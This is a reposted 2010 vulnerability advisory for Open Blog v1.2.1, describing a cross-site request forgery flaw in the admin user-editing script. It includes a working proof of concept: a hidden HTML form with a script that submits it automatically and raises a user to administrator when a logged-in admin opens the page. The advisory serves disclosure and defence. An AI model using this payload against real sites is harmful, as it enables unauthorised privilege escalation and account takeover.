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Open Blog v1.2.1 CSRF Vulnerability

Posted on 05 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Open Blog v1.2.1 CSRF Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===================================
Open Blog v1.2.1 CSRF Vulnerability
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Vulnerability ID: HTB22496
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_blog.html
Product: Open Blog
Vendor: Toma?? Muraus ( http://www.open-blog.info/ )
Vulnerable Version: 1.2.1 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
The vulnerability exists due to failure in the &quot;/application/modules/admin/controllers/users.php&quot; script to properly verify the source of HTTP request.
 
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
Attacker can use browser to exploit this vulnerability. The following PoC is available:
 
&lt;form action=&quot;http://host/admin/users/edit&quot; method=&quot;post&quot; &gt;
&lt;input type=&quot;hidden&quot; name=&quot;display_name&quot; value=&quot;User&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;level&quot; value=&quot;administrator&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;email (at) example (dot) com [email concealed]&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;website&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;msn_messenger&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;jabber&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;about_me&quot; value=&quot;about_me&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;2&quot; /&gt;
&lt;input type=&quot;submit&quot; name=&quot;submit&quot; id=&quot;sbmtit&quot; value=&quot;Edit ››&quot; /&gt;
 
&lt;/form&gt;
&lt;script&gt;
document.getElementById('sbmtit').click();
&lt;/script&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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